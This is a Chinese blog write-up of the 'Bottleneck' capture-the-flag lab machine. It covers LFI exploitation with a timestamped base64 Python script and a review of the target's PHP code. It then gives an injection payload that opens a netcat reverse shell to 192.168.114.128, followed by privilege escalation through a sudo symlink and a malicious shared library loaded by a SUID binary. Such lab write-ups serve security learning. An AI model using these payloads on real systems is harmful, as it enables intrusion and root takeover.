Bottleneck靶机渗透

Bottleneck

端口扫描,主机发现。

敏感目录为:http://192.168.114.165/image_gallery.php

在该目录下发现:http://192.168.114.165/image_gallery.php?t=1596116082&f=Ym90dGxlbmVja19kb250YmUucG5n

这个看起来是有一个base64加密的,解密后为bottleneck_dontbe.png换成passwd文件。

更改了之后没有任何反应,觉得可能是有校对机制,例如时间戳在t参数这里。

刷新了看了一下:

image_gallery.php?t=1596117382&f=Ym90dGxlbmVja19kb250YmUucG5n
确实发生了变化。

这样我们只要编写一个小脚本,将时间戳附在参数上面就可以了,这里随手写了一个。

#coding:utf-8
import time
import base64
import urllib
import requests

string="../../../../../../../etc/passwd"
tt=time.time()
payload=base64.b64encode(string.encode("utf-8"))
urll="http://192.168.114.165/image_gallery.php"
payloads={
    't' : tt,
    'f' : payload}
r=requests.get(url=urll,params=payloads)
print r.text  
print("---------------------------\n")
print("filename: intrusion_"+ str(int(tt)))

有回显,告诉我们这样是不行的。

可能设了白名单吧,可能吧可能吧,不会真有人费这么大劲折磨我吧。

换了一下../image_gallery.php有输出了,nice。

output:

C:\Users\Dell\PycharmProjects\pythonstudy\venv\Scripts\python.exe C:/Users/Dell/PycharmProjects/pythonstudy/CTF常用脚本/时间戳.py

<?php
/*
CHANGELOG
v1.1: Still testing without content.
    I've fixed that problem that @p4w and @ska notified me after hacker attack.
    Shit I'm too lazy to make a big review of my code.
    I think that the LFI problem can be mitigated with the blacklist.
    By the way to protect me from attackers, all malicious requests are immediately sent to the SOC

v1.0: Starting this beautiful gallery
*/

$tstamp = time();
if(isset($_GET['t']) && isset($_GET['f'])){
    include_once 'image_gallery_load.php';
    exit();
}

?>  

原来是设了黑名单啊,猜错,接下来可能就是代码审计了。

image_gallery_load.php

<?php
function print_troll(){
    $messages = $GLOBALS['messages'];
    $troll = $GLOBALS['troll'];
    echo $messages[0];
    echo $troll;
}

$troll = <<<EOT
<pre>
                                   _,..._
                                  /__    \
                                   >< `.  \
                                  /_    \ |
                                   \-_  /:|
                                 ,--'..'. :
                               ,'         `.
                            _,'             \
                   _.._,--''    ,           |
               , ,',, _|    _,.'|      |    |
            \\||/,'(,' '--''    |      |    |
       _     |||                |      /-'  |
      | |   (- -)<`._           |     /    /
      | |  \_\O/_/`-.(<<        |____/    /
      | |   /   \              / -'| `--.'|
      | |   \___/             /           /
      | |    H H             /     |     |
      |_|_..-H-H--.._       /     ,|     |
        |-.._"_"__..-|     |   _-/ |     |
        |            |     |    |   \_   |
        |            |     |    |   |    |
        |            |     |____|   |    |
        |            |  _..'    |   |____|
        |            |_(____..._' _.'    |
        `-..______..-'""         (___..--'
<pre>
EOT;

if(!isset($_GET['t']) || !isset($_GET['f'])){
    exit();
}

$imagefile = base64_decode($_GET['f']);
$timestamp = time();
$isblocked = FALSE;
$blacklist = array('/etc','/opt','/var','/opt','/proc','/dev','/lib','/bin','/usr','/home','/ids');
$messages = array("\nLet me throw away your nice request into the bin.\n".
    "The SOC was informed about your attempt to break into this site. Thanks to previous attackers effort in smashing my infrastructructure I will take strong legal measures.\n".
    "Why don't you wait on your chair until someone (maybe the police) knock on your door?\n\n");

if(abs($_GET['t'] - $timestamp) > 10){
    exit();
}
foreach($blacklist as $elem){
    if(strstr($imagefile, $elem) !== FALSE)
        $isblocked = TRUE;
}
// report the intrusion to the soc and save information locally for further investigation
if($isblocked){
    $logfile = 'intrusion_'.$timestamp;
    $fp = fopen('/var/log/soc/'.$logfile, 'w');
    fwrite($fp, "'".$imagefile."'");
    fclose($fp);
    exec('python /opt/ids_strong_bvb.py </var/log/soc/'.$logfile.' >/tmp/output 2>&1');
    print_troll();
    exit();
}
chdir('img');
$filecontent = file_get_contents($imagefile);
if($filecontent === FALSE){
    print_troll();
}
else{
    echo $filecontent;
}
chdir('../');

?>

个人认为出问题的代码是在这里:

// report the intrusion to the soc and save information locally for further investigation
if($isblocked){
    $logfile = 'intrusion_'.$timestamp;
    $fp = fopen('/var/log/soc/'.$logfile, 'w');
    fwrite($fp, "'".$imagefile."'");
    fclose($fp);
    exec('python /opt/ids_strong_bvb.py </var/log/soc/'.$logfile.' >/tmp/output 2>&1');
    print_troll();
    exit();
}  

这里看上去是写日志文件了,那意味着我们利用恶意的url进行访问是有可能被写入的,而经过处理的log文件最终被放置到了/tmp/output

而文件名也可以判断出来就是intrusion_+时间戳

其实这个判断出来没鸟用,他最终还是放到/tmp/output文件下,我先后用了../../../../../../etc/passwd以及../../../../../../etc/network/interfaces试了一下,然后分别查看日志文件,发现确实被记录了,但是只能记录一条。

这里的反弹shell我是真没搞出来,这里我网上特地找了一下,这个巨佬写得很清晰了。

https://blog.csdn.net/weixin_44214107/article/details/102526835

payload:/etc' and __import__("os").system("rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.114.128 2333 >/tmp/f") and'

所以根据这位博主的思路,创建了反弹shell的payload:

#coding:utf-8
import time
import base64
import urllib
import requests

string='''../../../../../etc' and __import__("os").system("rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.114.128 2333 >/tmp/f") and\''''
print string
tt=time.time()
payload=base64.b64encode(string.encode("utf-8"))
urll="http://192.168.114.165/image_gallery.php"
payloads={
    't' : tt,
    'f' : payload}
r=requests.get(url=urll,params=payloads)
print r.text
print("---------------------------\n")
print("filename: intrusion_"+ str(int(tt)))  

此时我们的客户端是已经收到了shell。

提权

查看操作系统版本,这个靶机是19年的,应该不会有大的漏洞。

suid看一下,发现一个at程序可能被利用,sudo -l则是一个清除日志的脚本,并且没有定时计划。

www-data@bottleneck:~/html/web_utils$ cat clear
cat clear_logs 
#!/bin/bash
rm -f /var/log/soc/intrusion_*

如果我们能有写的权限,那么就方便很多了。

看到只有bytevsbyte及其组的用户具有高权限,我们的一种突破口就是往bytevsbyte用户登陆上去靠。

这里我又不会了,去看了一下wp。

根据wp可以得知clear_logs这个软链接就是我们的突破口,即修改clear_logs软链接的指向,是其指向我们的脚本,随后运行clear_logs使www-data用户变成bytevsbyte,看到这里我觉得这跟绕open_basedir有相同的道理。

本地创建clear_logs,在wget请求时显示权限不足

sudo -ubytevsbyte /var/www/html/webutils/clearlogs

这里我确实修改了文件的内容,但是执行的时候总是显示不存在这个文件,软连接可能改错了,应该没有啊,服了这只能搞到这里了,换了一个软连接ok了,后面暴躁的直接复制黏贴别人的了,感觉自己思路是没有问题的但就是没成功奇了怪了。

SUID可执行文件的命令,发现/usr/test/testlib

#include <dlfcn.h>
#include <unistd.h>

int main(int argc, char *argv[]){
    void *handle;
    int (*function)();
    if(argc < 2)
        return 1;
    handle = dlopen(argv[1], RTLD_LAZY);
    function = dlsym(handle, "test_this");
    function();
    return 0;
}

其实接下来的提权步骤跟绕过php的disable_function是有点类似的,在绕过disable_function的时候我们选择劫持了mail函数下的可以说是调用so库文件,差不多就是这个意思吧。

dlopen以指定模式打开动态连接库文件,并返回一个句柄给调用进程;dlsym通过句柄和连接符名称获取函数名或者变量名。

所以poc很简单,跟绕过disbale_funtion的poc差不多。

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
void test_this()     //这里定义的函数名为test_this的原因是因为上面的suid程序调用的就是这个函数
{
setuid(0); setgid(0); system("/bin/sh");  //获取root用户的shell
}

接下来的步骤就是将我们生成的这个共享库替换掉原来的共享库,然后再执行这个suid文件,就自然地调用了我们创建的so文件,然后获取到root的shell。
gcc -fPIC -shared test_this.c -o test_this.so

/usr/test/testlib /tmp/test_this.so

部分参考:https://blog.csdn.net/weixin_44214107/article/details/102526835

 

posted @ 2020-07-31 13:37  op_hxc  阅读(171)  评论(0编辑  收藏  举报